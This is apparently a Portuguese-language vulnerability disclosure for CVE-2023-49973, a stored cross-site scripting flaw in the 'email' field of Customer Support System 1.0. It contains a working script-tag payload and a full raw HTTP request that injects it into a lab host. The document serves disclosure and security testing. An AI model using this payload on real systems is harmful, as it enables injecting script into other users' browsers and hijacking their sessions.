geraldoalcantara/cve-2023-49973Customer Support System 1.0 - Vulnerabilidade de Cross-Site Scripting (XSS) no campo/parâmetro "email" na página "customer_list"
Descrição: O Customer Support System 1.0 é vulnerável a XSS armazenado. Existe uma vulnerabilidade de XSS na versão 1 do Customer Support System. Um ator malicioso pode inserir código JavaScript através do campo/parâmetro "email" ao editar/criar um cliente. O código é executado sempre que a página "/customer_support/index.php?page=customer_list" é visitada.
Versão do Produto Vulnerável: Customer Support System 1.0
Autor do CVE: Geraldo Alcântara
Data: 28/11/2023
Confirmado em: 19/12/2023
CVE: CVE-2023-49973
Testado em: Windows
</dt></b><script>alert(document.domain)</script>
POST /customer_support/ajax.php?action=save_customer HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
Content-Length: 1149
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="id"
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="firstname"
teste
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="middlename"
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="lastname"
xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="contact"
210
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="address"
asdasd
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="email"
</dt></b><script>alert(document.domain)</script>
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="password"
xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="cpass"
xss
-----------------------------212391604122778812451614149575--
Descobridor(es)/Créditos:
Geraldo Alcântara